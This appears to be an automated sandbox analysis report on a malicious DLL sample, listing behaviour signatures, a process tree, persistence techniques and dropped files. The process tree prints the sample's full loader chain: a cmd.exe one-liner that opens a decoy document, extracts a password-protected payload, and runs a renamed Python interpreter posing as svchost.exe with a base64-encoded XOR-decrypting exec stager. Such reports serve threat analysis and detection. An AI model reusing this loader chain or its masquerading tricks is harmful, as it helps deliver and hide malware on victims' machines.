Analysis
- max time kernel
600s - max time network
612s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-ja - resource tags
- submitted
10/09/2026, 11:29
General
- Target Verifica_Documentazione_Aziendale_2026/msvcr100.dll
- Size 120.3MB
- Sample260910-nl142awshs
- SHA256 dbf08a6cd1f569b9e74aa7b5819aa9ecdfb060d48ea45e12ee98b87215bfaeef
Malware Config
Signatures
- Executes dropped EXE 4 IoCs
- Loads dropped DLL 21 IoCs
- Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Modifies registry class 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 8 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\Verifica_Documentazione_Aziendale_2026\msvcr100.dll,#11⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\Verifica_Documentazione_Aziendale_2026\msvcr100.dll,#12⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.execmd.exe /c cd x && start "" "document.docx" && (mkdir "C:\Users\Public\WindowsUpdate" && "LC_고양이_졸음주의안내문_2016.png" x -p"NYlnJBuDQvsrSbZtC8TWss0xzstzEheXFg1GtZZCIu6aTh5DXqvMprwjVn" "메뚜기_산책중넘어짐기록_2023-04-01.dat" "C:\Users\Public\" -y && cd "C:\Users\Public\WindowsUpdate" && "C:\Users\Public\WindowsUpdate\svchost.exe" -c "exec(__import__('base64').b64decode(b'aW1wb3J0IG9zLHN5cwpvcy5jaGRpcihvcy5wYXRoLmRpcm5hbWUob3MucGF0aC5hYnNwYXRoKHN5cy5leGVjdXRhYmxlKSkpCnJxamhzdV95aj1ieXRlcy5mcm9taGV4KCI4ODI4YWUzNDNjZTNhOTMyNjhlMTMxMDc1MGM0NzllZjYwOGQ1OGVhZGFkNGQzMjMzZTYyMGMwZDViZTMzNDM0IikKaHh1Zm1lZHlyPW9wZW4oImluc3RydWN0aW9ucy5wZGYiLCJyYiIpLnJlYWQoKQpvaXZ5eF92eF9uXz1ieXRlcyh4em10Znh6Ymt0Zl5ycWpoc3VfeWpbbGF1aWR6X21jaGxxZSVsZW4ocnFqaHN1X3lqKV0gZm9yIGxhdWlkel9tY2hscWUseHptdGZ4emJrdGYgaW4gZW51bWVyYXRlKGh4dWZtZWR5cikpCmV4ZWMob2l2eXhfdnhfbl8uZGVjb2RlKCJ1dGYtOCIpKQo=').decode())")3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Verifica_Documentazione_Aziendale_2026\x\document.docx" /o ""4⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
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C:\Users\Admin\AppData\Local\Temp\Verifica_Documentazione_Aziendale_2026\x\LC_고양이_졸음주의안내문_2016.png"LC_고양이_졸음주의안내문_2016.png" x -p"NYlnJBuDQvsrSbZtC8TWss0xzstzEheXFg1GtZZCIu6aTh5DXqvMprwjVn" "메뚜기_산책중넘어짐기록_2023-04-01.dat" "C:\Users\Public\" -y4⤵
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C:\Users\Public\WindowsUpdate\svchost.exe"C:\Users\Public\WindowsUpdate\svchost.exe" -c "exec(__import__('base64').b64decode(b'aW1wb3J0IG9zLHN5cwpvcy5jaGRpcihvcy5wYXRoLmRpcm5hbWUob3MucGF0aC5hYnNwYXRoKHN5cy5leGVjdXRhYmxlKSkpCnJxamhzdV95aj1ieXRlcy5mcm9taGV4KCI4ODI4YWUzNDNjZTNhOTMyNjhlMTMxMDc1MGM0NzllZjYwOGQ1OGVhZGFkNGQzMjMzZTYyMGMwZDViZTMzNDM0IikKaHh1Zm1lZHlyPW9wZW4oImluc3RydWN0aW9ucy5wZGYiLCJyYiIpLnJlYWQoKQpvaXZ5eF92eF9uXz1ieXRlcyh4em10Znh6Ymt0Zl5ycWpoc3VfeWpbbGF1aWR6X21jaGxxZSVsZW4ocnFqaHN1X3lqKV0gZm9yIGxhdWlkel9tY2hscWUseHptdGZ4emJrdGYgaW4gZW51bWVyYXRlKGh4dWZtZWR5cikpCmV4ZWMob2l2eXhfdnhfbl8uZGVjb2RlKCJ1dGYtOCIpKQo=').decode())"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Registers new Windows logon scripts automatically executed at logon.
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\WindowsUpdate\svchost.exeC:\Users\Public\WindowsUpdate\svchost.exe -c exec(__import__('base64').b64decode(b'aW1wb3J0IG9zLHN5cwpvcy5jaGRpcihvcy5wYXRoLmRpcm5hbWUob3MucGF0aC5hYnNwYXRoKHN5cy5leGVjdXRhYmxlKSkpCnJxamhzdV95aj1ieXRlcy5mcm9taGV4KCI4ODI4YWUzNDNjZTNhOTMyNjhlMTMxMDc1MGM0NzllZjYwOGQ1OGVhZGFkNGQzMjMzZTYyMGMwZDViZTMzNDM0IikKaHh1Zm1lZHlyPW9wZW4oImluc3RydWN0aW9ucy5wZGYiLCJyYiIpLnJlYWQoKQpvaXZ5eF92eF9uXz1ieXRlcyh4em10Znh6Ymt0Zl5ycWpoc3VfeWpbbGF1aWR6X21jaGxxZSVsZW4ocnFqaHN1X3lqKV0gZm9yIGxhdWlkel9tY2hscWUseHptdGZ4emJrdGYgaW4gZW51bWVyYXRlKGh4dWZtZWR5cikpCmV4ZWMob2l2eXhfdnhfbl8uZGVjb2RlKCJ1dGYtOCIpKQo=').decode()) fwMgsVEkeDZ5⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Public\WindowsUpdate\svchost.exeC:\Users\Public\WindowsUpdate\svchost.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
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C:\Windows\system32\schtasks.exeschtasks /run /tn "MicrosoftEdgeUpdateTaskMachineCore__"1⤵
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C:\Users\Public\WindowsUpdate\svchost.exe"C:\Users\Public\WindowsUpdate\svchost.exe" -c "exec(__import__('base64').b64decode(b'aW1wb3J0IG9zLHN5cwpvcy5jaGRpcihvcy5wYXRoLmRpcm5hbWUob3MucGF0aC5hYnNwYXRoKHN5cy5leGVjdXRhYmxlKSkpCnJxamhzdV95aj1ieXRlcy5mcm9taGV4KCI4ODI4YWUzNDNjZTNhOTMyNjhlMTMxMDc1MGM0NzllZjYwOGQ1OGVhZGFkNGQzMjMzZTYyMGMwZDViZTMzNDM0IikKaHh1Zm1lZHlyPW9wZW4oImluc3RydWN0aW9ucy5wZGYiLCJyYiIpLnJlYWQoKQpvaXZ5eF92eF9uXz1ieXRlcyh4em10Znh6Ymt0Zl5ycWpoc3VfeWpbbGF1aWR6X21jaGxxZSVsZW4ocnFqaHN1X3lqKV0gZm9yIGxhdWlkel9tY2hscWUseHptdGZ4emJrdGYgaW4gZW51bWVyYXRlKGh4dWZtZWR5cikpCmV4ZWMob2l2eXhfdnhfbl8uZGVjb2RlKCJ1dGYtOCIpKQo=').decode())"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Replay Monitor
Loading Replay Monitor...
Downloads
gb.xsl
fb3b0dbfee58fac8.customDestinations-ms
VCRUNTIME140.dll
_asyncio.pyd
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_elementtree.pyd
_hashlib.pyd
_lzma.pyd
_multiprocessing.pyd
_overlapped.pyd
_queue.pyd
_remote_debugging.pyd
_socket.pyd
_sqlite3.pyd
_ssl.pyd
_uuid.pyd
_wmi.pyd
_zoneinfo.pyd
_zstd.pyd
instructions.pdf
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
pyexpat.pyd
python.cat
python3.DLL
python314._pth
python314.dll
python314.zip
select.pyd
sqlite3.dll
svchost.exe
unicodedata.pyd
winsound.pyd
memory/1492-149-0x00000000055B0000-0x00000000055C8000-memory.dmp
memory/1492-147-0x0000000005500000-0x0000000005572000-memory.dmp
memory/1492-162-0x0000000009970000-0x00000000099D6000-memory.dmp
memory/1492-151-0x00000000098A0000-0x00000000098E8000-memory.dmp
memory/1492-150-0x0000000009480000-0x00000000094AA000-memory.dmp
memory/1492-148-0x0000000009540000-0x000000000964E000-memory.dmp
memory/1724-2-0x00007FF7FCD80000-0x00007FF7FCD90000-memory.dmp
memory/1724-6-0x00007FF83CC40000-0x00007FF83CEA3000-memory.dmp
memory/1724-13-0x00007FF83CC40000-0x00007FF83CEA3000-memory.dmp
memory/1724-12-0x00007FF7FA6D0000-0x00007FF7FA6E0000-memory.dmp
memory/1724-10-0x00007FF83CC40000-0x00007FF83CEA3000-memory.dmp
memory/1724-8-0x00007FF83CC40000-0x00007FF83CEA3000-memory.dmp
memory/1724-0-0x00007FF7FCD80000-0x00007FF7FCD90000-memory.dmp
memory/1724-9-0x00007FF83CC40000-0x00007FF83CEA3000-memory.dmp
memory/1724-11-0x00007FF83CC40000-0x00007FF83CEA3000-memory.dmp
memory/1724-1-0x00007FF7FCD80000-0x00007FF7FCD90000-memory.dmp
memory/1724-31-0x00007FF7FA6D0000-0x00007FF7FA6E0000-memory.dmp
memory/1724-14-0x00007FF83CC40000-0x00007FF83CEA3000-memory.dmp
memory/1724-5-0x00007FF83CC40000-0x00007FF83CEA3000-memory.dmp
memory/1724-156-0x00007FF83CC40000-0x00007FF83CEA3000-memory.dmp
memory/1724-4-0x00007FF7FCD80000-0x00007FF7FCD90000-memory.dmp
memory/1724-7-0x00007FF7FCD80000-0x00007FF7FCD90000-memory.dmp
memory/1724-3-0x00007FF83CD9F000-0x00007FF83CDA0000-memory.dmp
memory/1724-524-0x00007FF7FCD80000-0x00007FF7FCD90000-memory.dmp
memory/1724-526-0x00007FF7FCD80000-0x00007FF7FCD90000-memory.dmp
memory/1724-525-0x00007FF7FCD80000-0x00007FF7FCD90000-memory.dmp
memory/1724-527-0x00007FF7FCD80000-0x00007FF7FCD90000-memory.dmp
memory/1724-528-0x00007FF83CC40000-0x00007FF83CEA3000-memory.dmp